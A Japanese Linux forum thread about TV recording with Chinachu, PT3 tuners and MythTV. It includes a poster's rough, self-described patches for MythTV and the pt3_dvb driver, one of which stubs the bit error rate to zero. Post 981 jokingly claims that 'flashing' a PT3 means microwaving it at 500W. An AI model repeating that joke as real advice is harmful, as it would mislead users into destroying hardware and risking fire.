chinachuさんストリーミング再生不具合修正してくれてる(゚∀゚)
まだ内容確認してないけど

901 :login:Penguin:2014/11/08(土) 00:24:46.07 ID:PtUcPe5e.net
ありゃー、chinachuのバージョンアップしたら、予約録画に失敗するようになった(利用可能なチューナーが見つかりません)
バージョンアップ直後のリアルタイム視聴は出来てたから安心してたんだけどね。うーん、なんかミスったかな?
土日ヒマを見つけて調べてみるか

902 :login:Penguin:2014/11/08(土) 01:59:03.44 ID:BktVHxw+.net
>>901
予約録画とリアルタイム視聴の件は別?
バージョンアップ後にリアルタイム視聴していたら予約録画失敗したってこと?

903 :login:Penguin:2014/11/08(土) 02:07:15.27 ID:PtUcPe5e.net
>>902
リアルタイム視聴と予約録画は別時間の話しなのだが・・・

904 :login:Penguin:2014/11/08(土) 02:09:04.51 ID:PtUcPe5e.net
眠れんかったので、PCいじりしてて気がついたのだけど、俺がやったのはchinachuのバージョンアップではなく、EPGの更新でした orz

905 :login:Penguin:2014/11/08(土) 02:10:15.97 ID:BktVHxw+.net
>>903
話を一緒にしてたからそう聞いてみた
アップデートしたの久々かな?チューナーは何使ってるの?

906 :login:Penguin:2014/11/08(土) 02:10:54.12 ID:BktVHxw+.net
>>904
寝てからやりなよww

907 :login:Penguin:2014/11/08(土) 02:11:03.07 ID:PtUcPe5e.net
んで、正しくバージョンアップしたらリアルタイム視聴の打率が大幅アップ(今のところ100%)
幾つか番組予約したので、失敗したらまた報告するわ

908 :login:Penguin:2014/11/08(土) 02:13:04.96 ID:PtUcPe5e.net
ただ、前バージョンのchinachuに手動でEPG更新したら録画予約に失敗したのは本当(2番組で失敗)
こっちは謎のまま

909 :login:Penguin:2014/11/08(土) 02:15:19.12 ID:PtUcPe5e.net
お騒がせしました m(__)m

linux、win、mac混在の我が家ではchinachuは神!
ちなPT3の一枚差し

910 :Artane. ◆1o3c8RYIzjU0 :2014/11/08(土) 07:42:16.32 ID:ZwBXX3W9.net
ISDB対応MythTV(0.27.4)でシグナルが表示されない件、パッチ作ってみた。
pt3_dvb使ってる場合は、ドライバにパッチ当て無いといけないかも知れない(ここから貼っていく)。
まー、アレコレ問題含みだけど。MythTVスレに後でリンク春(`・ω・´)ゞ
パッチは、MythTV側が(とりあえず)二つ。
1. libs/libmythtv
000_libmythtv.cardutil.cpp.ISDB.temp.patch
---
--- cardutil.cpp.orig 2014-11-08 07:14:33.160590285 +0900
+++ cardutil.cpp 2014-11-08 07:28:01.193305347 +0900
@@ -494,7 +494,7 @@
uint CardUtil::GetMinSignalMonitoringDelay(const QString &device)
{
QString name = ProbeDVBFrontendName(device);
- if (name.indexOf("DVB-S") >= 0)
+ if ((name.indexOf("DVB-S") >= 0) || (name.indexOf("ISDB") >= 0))
return 300;
if (name == "DiBcom 3000P/M-C DVB-T")
return 100;
---
つづく。

911 :Artane. ◆1o3c8RYIzjU0 :2014/11/08(土) 07:43:11.66 ID:ZwBXX3W9.net
つづき。MythTv側はここまで。
libs/libmythtv/recorders/
000_libmythtv.recorderes.dvbchannel.cpp.SignalFix.temp.patch
--- dvbchannel.cpp.new 2014-11-08 04:16:36.273939030 +0900
+++ dvbchannel.cpp 2014-11-08 05:10:44.596247350 +0900
@@ -270,7 +270,7 @@
// Turn on the power to the LNB
if (tunerType.IsDiSEqCSupported())
{
- //diseqc_tree = diseqc_dev.FindTree(GetCardID());
+ diseqc_tree = diseqc_dev.FindTree(GetCardID()); // Note
if (diseqc_tree)
diseqc_tree->Open(fd_frontend);
}

912 :Artane. ◆1o3c8RYIzjU0 :2014/11/08(土) 07:49:52.32 ID:ZwBXX3W9.net
次。pt3_dvbでdvb_appのchecksignalが動かないとか、mythtvのシグナル関係で微妙な挙動する問題のパッチ。
はれるかな?
---
001_pt3_fe.c.add.ioctl.20141108.patch (1/2)
--- pt3_fe.c.orig 2014-11-08 03:47:37.465167284 +0900
+++ pt3_fe.c 2014-11-08 05:53:19.605304859 +0900
@@ -987,6 +987,38 @@
return pt3_tc_read_cndat_t(state->adap, NULL, (u32 *)cn);
}

+/*
+ * Starting to support old ioctl: FE_READ_SNR.
+ * Useful for checksignal.
+ * 2014.11.08 K.O
+ */
+static int pt3_fe_t_read_snr(struct dvb_frontend *fe, u16 *cn)
+{
+ struct pt3_fe_t_state *state = fe->demodulator_priv;
+ return pt3_tc_read_cndat_t(state->adap, NULL, (u32 *)cn);
+}
+
+/*
+ * This is test.
+ * Dummy.
+ */
+static int pt3_fe_t_read_ber(struct dvb_frontend *fe, u32 *ber)
+{
+ *ber = 0; /* Assume Bit Error Rate (BER) is 0, Will fix. */
+ return 0;
+}
+
+ /* 続く */

913 :Artane. ◆1o3c8RYIzjU0 :2014/11/08(土) 07:50:49.58 ID:ZwBXX3W9.net
+/* >>912 のつづき */
+#if 0
+/*
+ * This is also dummy, still unused. Will Fix.
+ */
+static int pt3_fe_t_read_ucblocks(struct dvb_frontend* fe, u32* ucblocks)
+{
+ *ucblocks = 0; /* Assume Uncorrected blocks count = 0, Will fix. */
+ return 0;
+}
+#endif
+
static int pt3_fe_t_get_frontend_algo(struct dvb_frontend *fe)
{
return DVBFE_ALGO_HW;
@@ -1172,6 +1204,9 @@
FE_CAN_TRANSMISSION_MODE_AUTO | FE_CAN_GUARD_INTERVAL_AUTO | FE_CAN_HIERARCHY_AUTO,
},
.read_signal_strength = pt3_fe_t_read_signal_strength,
+ .read_snr = pt3_fe_t_read_snr,
+ .read_ber = pt3_fe_t_read_ber,
+ /* .read_ucblocks = pt3_fe_t_read_ucblocks, */
.read_status = pt3_fe_t_read_status,
.get_frontend_algo = pt3_fe_t_get_frontend_algo,
.release = pt3_fe_t_release,

914 :Artane. ◆1o3c8RYIzjU0 :2014/11/08(土) 07:58:35.90 ID:ZwBXX3W9.net
>>910-913
とりあえず、脳味噌が死んでる状態ででっち上げたので、かなりいい加減だが、選局した時に起きる問題はとりあえず解決したと思う。
MythTVのCNR比表示が1/10されてるっぽい(checksignalだとマトモな?値が出てくる)とか、signalの値は但しいいのか?とか、ダミーIOCTLはいかがなものか。
とか、ツッコミどころは色々あるが、徹夜で取り組んで脳味噌が死んでるのでこれから色々見てくつもり(;´Д`)

後、MythTVのISDB対応、よく出来てるしダメ元で多少書き換えたパッチをDebian Multimediaのmythtv-dmoにマージしてほしいなと思ったので、
暇見てメンテナの人と連絡取ってみようと思います。ので、細かいやり取りについてしたいので、パッチ作られてる方、GPGIDのメアドにメール頂けると助かります。

915 :login:Penguin:2014/11/08(土) 11:12:39.19 ID:NqGYYIrB.net
乙です。
Artane氏はアーテン服用してんの?

916 :Artane. ◆1o3c8RYIzjU0 :2014/11/08(土) 16:25:28.29 ID:ZwBXX3W9.net
>>915
どもです。
もう、何十年も前に飲んでたことがありましたよ(-_-;
今はあんなん飲んでない。
このハンドルネーム自体、25年以上使ってるからなぁ…(^_^;

917 :login:Penguin:2014/11/08(土) 17:02:21.85 ID:f60AF8zd.net
そう言えばpt3のdvbドライバは>>692の方がカーネルにマージされたみたいだね
(なんかpt3_dvbの人は怒ってるみたいだけど・・・)
その辺の事情も考えると、mythtvのDVBChannel::GetSNR()の方をDVB_API_VERSION>=5に対応させる方が良いと思うよ

918 :login:Penguin:2014/11/08(土) 20:38:38.72 ID:RYzgp267.net
流れぶったぎって悪いのだけど、、、

chinachu で、曜日指定録画はできるの?
3ヶ月探してまだ見つからないんだよね。
無いのだと思うのだけど、あると便利だと思う。

それと、ひとつひとつのルール内で、
無視ワードを完結するだけでなく、
ルール全体への無視ワード登録も可能になると
より使いやすいと思うのだけど、いかが?

919 :login:Penguin:2014/11/08(土) 20:43:54.45 ID:BktVHxw+.net
>>918
いいとおもう

920 :login:Penguin:2014/11/08(土) 21:43:58.34 ID:6lMJLjWK.net
正規表現に対応してほしい

921 :login:Penguin:2014/11/08(土) 23:05:34.05 ID:gfmlfr82.net
非正規な世の中なのさ

922 :login:Penguin:2014/11/08(土) 23:14:38.67 ID:Q4WqdeKB.net
>>921
それでは諦めます

923 :login:Penguin:2014/11/08(土) 23:15:47.76 ID:WbvxCMeE.net
うちのchinachuはアップデートしてもライブ視聴変わらず…(ヽ´ω`)
avconvのプロセスは現れるけど相変わらず落ちるですよ

ごく一部の特定のチャンネルだけ問題ないって言うのはなんで?

924 :login:Penguin:2014/11/09(日) 00:34:00.62 ID:1bqTv3Y3.net
俺んとこのchinachuはver.up後のリアルタイム視聴成功率は8割から9割くらいかな。以前は5割から6割くらいだったから今回のバージョンアップの満足感は高い。
ちなPT3一枚で運用。地上波、BS/CS、HD/SDで成功率の違いは感じない。BSCSで見るchはJspoスカチャン、ディスカバリーなど限られるけど

925 :login:Penguin:2014/11/09(日) 19:49:35.21 ID:APi1ZkkV.net
今まで何回か出てるけど、pcscliteを1.8.12にするとbcas周りが不安定になるね
1.8.11なら大丈夫。ccidは関係ないようだ

926 :login:Penguin:2014/11/10(月) 07:53:11.51 ID:8TT21gKP.net
>>923
録画コマンドの設定に--stripがあるかないかでも違うかも

927 :login:Penguin:2014/11/11(火) 11:48:56.20 ID:pRs4NnnJ.net
MXまたEPGおかしくなってない?CHINACHUで空多すぎるんだけど

928 :login:Penguin:2014/11/11(火) 12:24:38.85 ID:K8e1mgG8.net
いつも通り普通ー

929 :login:Penguin:2014/11/11(火) 14:24:54.33 ID:DLV8k0Uv.net
日曜深夜(日付的には月曜)の放送休止時間のことかな?

930 :login:Penguin:2014/11/11(火) 19:56:37.94 ID:jxbi/nwK.net
ウチもふつー@ちなちゅ

931 :login:Penguin:2014/11/11(火) 20:11:31.39 ID:Hd4N11Uw.net
直近の番組は大丈夫なんだけど、3日先とかはボロボロ抜けてるんだよなぁ
http://imgs.link/bodEHK.jpg

932 :login:Penguin:2014/11/11(火) 21:43:37.14 ID:/wbQFn9p.net
強制的に update -f したらMXだけ取れてない

933 :login:Penguin:2014/11/11(火) 22:02:47.58 ID:AkmBrLYg.net
もう諦めてWindowsでシステム組んだらいいのに

934 :login:Penguin:2014/11/11(火) 22:14:38.22 ID:/wbQFn9p.net
そういう問題では無いと思う

935 :login:Penguin:2014/11/11(火) 23:07:51.68 ID:RLvHk+l3.net
>>933
俺も諦めてWinに戻った
Stable版が出るまで取り敢えずWinかな

936 :login:Penguin:2014/11/12(水) 01:28:00.58 ID:kEz7xrjt.net
>Stable版が出るまで取り敢えずWinかな
そうか2・3年は戻ってこないって事だなw

937 :login:Penguin:2014/11/12(水) 04:12:04.45 ID:UogAGkg5.net
>>934
そういう問題だよ

938 :login:Penguin:2014/11/12(水) 04:38:03.22 ID:5wOrwUlh.net
Win環境も良いけど、スレタイくらいは読んでから書いてくれ。

939 :login:Penguin:2014/11/12(水) 07:26:17.34 ID:MXuLlisD.net
PT3 とepgrec STZ版で安定してるけどな

940 :login:Penguin:2014/11/12(水) 08:37:01.93 ID:IuM/Um3W.net
そういう問題ではないな

とりあえず最新版がダメなら前のバージョンに戻して試せばいいのに
何のためのGitなんだか

941 :login:Penguin:2014/11/12(水) 15:54:18.06 ID:WAeETw6+.net
ダウンロードツールと思ってるんじゃない?

942 :login:Penguin:2014/11/12(水) 19:08:17.47 ID:7zLOkpe7.net
chinachuのwuiをfirefox(linux)で表示していると
だんだん重くなって
最後には操作不能になるんだけど

ウチだけかな?

943 :login:Penguin:2014/11/12(水) 22:42:47.97 ID:vH14M7dP.net
pluginがメモリリーク起こしてるらしい
ディストリで対応版出てないの?うちのは直された

944 :login:Penguin:2014/11/12(水) 23:19:05.78 ID:cfCbHs7t.net
>>943
情報展開どうもです
33.1が出ていたので33.03からupdateしてみました
ちょっと試した範囲では快調です

945 :login:Penguin:2014/11/13(木) 12:49:38.61 ID:vid/Zn0l.net
[速報]マイクロソフト、フル機能の無料版「Visual Studio Communiti 2013」公開 − Publickey
http://www.publickey1.jp/blog/14/visual_studio_communiti_2013.html
Visual Studio Community 2013 - Visual Studio
http://www.microsoft.com/ja-jp/dev/products/community.aspx

[速報]マイクロソフト、「.NET server framework」のLinuxとMacOS X用オフィシャルディストリビューションを発表。.NETアプリケーションのビルド、実行が可能に − Publickey
http://www.publickey1.jp/blog/14/net_server_frameworklinuxmacos_xlinuxmacos_xnet.html

946 :login:Penguin:2014/11/13(木) 13:21:57.40 ID:hTwFS29C.net
Microsoftついに折れたな
もうWindowsで囲い込めないと察したか?

947 :login:Penguin:2014/11/19(水) 16:58:30.77 ID:Ebl0xCvg.net
久しぶりに公式見たらPT3のファームが新しくなってんのな
どこが変わったんだろう

948 :login:Penguin:2014/11/19(水) 17:13:58.54 ID:RfvMn5Np.net
見た感じ、WinDriverのバージョンアップがあって
それに対応した書き込みソフトというだけな気がする
ファームのバージョンは変わってないような

949 :login:Penguin:2014/11/20(木) 03:16:45.37 ID:MBCE2pu5.net
カーネルにDVBドライバが存在するチューナーならBonDriverは使用可能でしょうか?
具体的には、DVBドライバが存在する海外用チューナ(RTL2832)を地デジに利用したいと考えています。

linuxについてあまり詳しくないので、解釈が間違っているか教えていただけないでしょうか。

950 :login:Penguin:2014/11/20(木) 03:39:55.98 ID:O+IRM1Gr.net
RTL2832ってRealtekの復調機の型番なのね
チューナー自体がDVB方式の国向けなら日本の地デジ(ISDB-T方式)の受信は無理なんじゃね、Linuxとか関係なく・・・
まぁ俺も素人童貞なんで、もっと正確な事を教えて、エロい人!

951 :login:Penguin:2014/11/20(木) 04:28:27.89 ID:MBCE2pu5.net
回答ありがとうございます。

ブラジル向け(ISDB-T)の製品にRTL2832U+RT820という組み合わせのものがあるので、
ISDB-T自体はクリアできると考えています。
しかし1200円の激安チューナーにもかかわらず、ブログでの報告などが一切なく、
何か技術的な問題があるのかと思った次第です。

またS870というブラジル向けチューナーではlinuxで地デジの動作報告がありました。
でもこちらは3000円ほどするのであまりメリットがありません。

RTL2832U+RT820で試したという報告が無いのは、皆さんからしたら動く見込みが無いということでしょうか?

952 :950:2014/11/20(木) 04:52:29.48 ID:O+IRM1Gr.net
Linux的にはDVBって放送方式じゃなくデジタル放送(チューナー)全般を指すみたいね。今、調べて気付いた
さっきまで「PTx用DVB版ドライバ??? PT3でDVB受信出来るの???」状態だったよw
つーわけで、誰かエロい人、949の疑問に答えてね

無内容なカキコすまぬ

953 :login:Penguin:2014/11/20(木) 07:35:44.03 ID:V9nV8OWj.net
凡ドラうんぬん以前にワンセグみたいだけどいいのか?

954 :login:Penguin:2014/11/20(木) 09:47:52.75 ID:ICDGULGn.net
>>953
>ワンセグみたいだけどいいのか?

すみません
RTL2832は勘違いかもしれません…
同じ筐体のがRTL2832Uだったので、てっきりソフトウェアレベルで対応するのだと思ってました。

ちなみに注文したのはこれです↓
http://www.ebay.com/itm/ISDB-T-Digital-TV-Stick-Video-Recorder-USB-TV-Receiver-Remote-Control-/271603608276?pt=US_Video_Capture_TV_Tuner_Cards&amp;hash=item3f3cd62ad4

RTL2832以外が載ってるのか、Full segの表記が間違ってるのか現時点ではわからないので、到着したらまた来ます。

ご迷惑をおかけしました。

955 :login:Penguin:2014/11/24(月) 16:31:06.76 ID:kb1j7Bko.net
PT3のBS側の片方が吐くデータが変になって(サイズが8%増しw)予備と入れ替えた
topで見るとRESのサイズが一つだけべらぼうに大きくなっていた
隣りがファンの無いグラボなんで熱の影響が大きかったのかも知れない

956 :login:Penguin:2014/11/30(日) 17:35:22.43 ID:pDXxGUXJ.net
ageとかないと落ちるんじゃないの

957 :login:Penguin:2014/11/30(日) 21:20:59.07 ID:62Ha8AF6.net
>>956
関係ないよ

958 :login:Penguin:2014/12/01(月) 01:53:36.07 ID:HDaSj6ae.net
980超えると24時

959 :login:Penguin:2014/12/01(月) 14:09:22.28 ID:wrti9hjL.net
レス数が981以上だと24時間書き込みがないと落ちる。
不定期のスレ圧縮時は最終書き込みが古いスレが落ちる。
いずれも age/sage は無関係。

960 :login:Penguin:2014/12/01(月) 16:54:13.34 ID:HDaSj6ae.net
途中で書き込んじゃった
980超えると24時間レスない場合も落ちるよ

961 :login:Penguin:2014/12/01(月) 17:03:52.32 ID:A8w+D5lH.net
>>956はスレ一覧の一番下から落ちると勘違いしてるんだろうな

962 :login:Penguin:2014/12/02(火) 07:43:35.48 ID:yK2QhL7E.net
そもそもスレが一定量無いと落ちさえしないw
たいていレスのほとんど付いてない糞スレと
980超えしたスレで枠を満たすので
下から落ちる事はほぼ無いw
そして、950で立てるルールは1日も掛からずに
950から1000が埋まるスレだからそのルールがあるのであって、
そこまでレスの付くようなスレでは無いところでまで適用するなとw

963 :login:Penguin:2014/12/02(火) 14:45:22.63 ID:2AKf7WL/.net
950で立てる話なんてどこから出てきたんだ?

964 :login:Penguin:2014/12/03(水) 00:53:17.49 ID:6p/CugPc.net
確かこのスレタイ、二桁は長すぎになったと思う

965 :login:Penguin:2014/12/03(水) 01:26:52.41 ID:pDaCUJne.net
>>964
少なくとも、スレタイにもう「アナログ」は要らなくね?

966 :login:Penguin:2014/12/03(水) 01:33:03.07 ID:6p/CugPc.net
え?アナログだけ消したら、スレの趣旨変えることになるし
デジタルも一緒に消せばいいじゃん
そうすりゃ面倒な議論とかもいらないっしょ

967 :login:Penguin:2014/12/03(水) 01:34:25.56 ID:tosDps6o.net
AV端子が無くなるまでは現役

968 :login:Penguin:2014/12/03(水) 01:58:20.51 ID:pDaCUJne.net
>>966
テレビ放送でアナログなくなってるんだから、テレビ総合スレとしては不要では?

>>967
AV入力って「テレビ」じゃないじゃん。

969 :login:Penguin:2014/12/03(水) 02:05:40.36 ID:6p/CugPc.net
>>968
今でもデジアナ変換してる地域はあるらしい
というか、アナログだけ外したら「デジタル」に限定することになるけど
アナログが存在していないという前提なら、「デジタル」に限定する意味もない

970 :login:Penguin:2014/12/03(水) 02:28:53.34 ID:knUP/sRu.net
デジアナ変換は2015年3月末で終了じゃね?

だからここは間を取って【アナル】にしようぜ

971 :login:Penguin:2014/12/03(水) 02:43:12.48 ID:RZx4K8wa.net
>>968
赤外線でコントロールすれば宜し。

どうしてもアナログ電波に拘るならアマチュア無線のATVでも受信しよう。
確かBSアナログチューナで行けた筈。

972 :login:Penguin:2014/12/03(水) 04:20:10.04 ID:qFZJOo6Z.net
110度じゃないスカパーとか

973 :login:Penguin:2014/12/03(水) 07:25:21.02 ID:VNBhJXT0.net
現行、リアルタイム視聴は本体だけだと難ありなので視聴外せば?

974 :login:Penguin:2014/12/03(水) 07:35:29.77 ID:6p/CugPc.net
【視聴・録画】Linuxでテレビ総合10 [転載禁止]&#169;2ch.net
http://hayabusa6.2ch.net/test/read.cgi/linux/1417559598/

975 :login:Penguin:2014/12/03(水) 07:36:59.39 ID:OhxBsXKJ.net
リアルタイム視聴はMythTVの範囲だしな

976 :login:Penguin:2014/12/03(水) 11:05:47.57 ID:+TxUgBXe.net
ああ、・(全角)を_or-(半角)に変えればおさまったのか?

977 :login:Penguin:2014/12/03(水) 11:28:24.15 ID:f2S8rGmu.net
ウチの恵安は(テレビは)、寒さでー
画期的な色になって、すぐ消えた♪

おいおい

978 :login:Penguin:2014/12/03(水) 17:32:06.32 ID:771HzfP3.net
最近のPT3は買ったままでLinuxで使える?
前はなんかWindowsで焼いたりしないといけないとか見たけど

979 :login:Penguin:2014/12/03(水) 18:52:40.91 ID:AtwA2ujx.net
> PT3は買ったままで
> Windowsで焼いたりしないといけない

が何か分からないけど
数週間前PT2がダメになったからPT3にして録画して観ているよ
どっちもubuntuでやってます

980 :login:Penguin:2014/12/03(水) 19:06:02.69 ID:b81pldiE.net
焼く ← FPGA更新

981 :login:Penguin:2014/12/03(水) 20:36:59.62 ID:5blXrLB4.net
>>978
何言ってんだよ、電子レンジで1分40秒焼くんだよ。
ポイントは500wってところだ。間違えるなよ。

982 :login:Penguin:2014/12/03(水) 20:42:44.76 ID:0hpIk32I.net
>>981
ホントカネー

983 :login:Penguin:2014/12/03(水) 22:23:45.89 ID:Ui0/ZcO7.net
試してガッチョン

984 :login:Penguin:2014/12/03(水) 22:37:48.05 ID:b81pldiE.net
PT-3じゃないけどBCASカードをチンする動画ならあった
https://www.youtube.com/watch?v=w86oTTy9Wcs

総レス数 984
318 KB
掲示板に戻る 全部 前100 次100 最新50
read.cgi ver 2014.07.20.01.SC 2014/07/20 D ★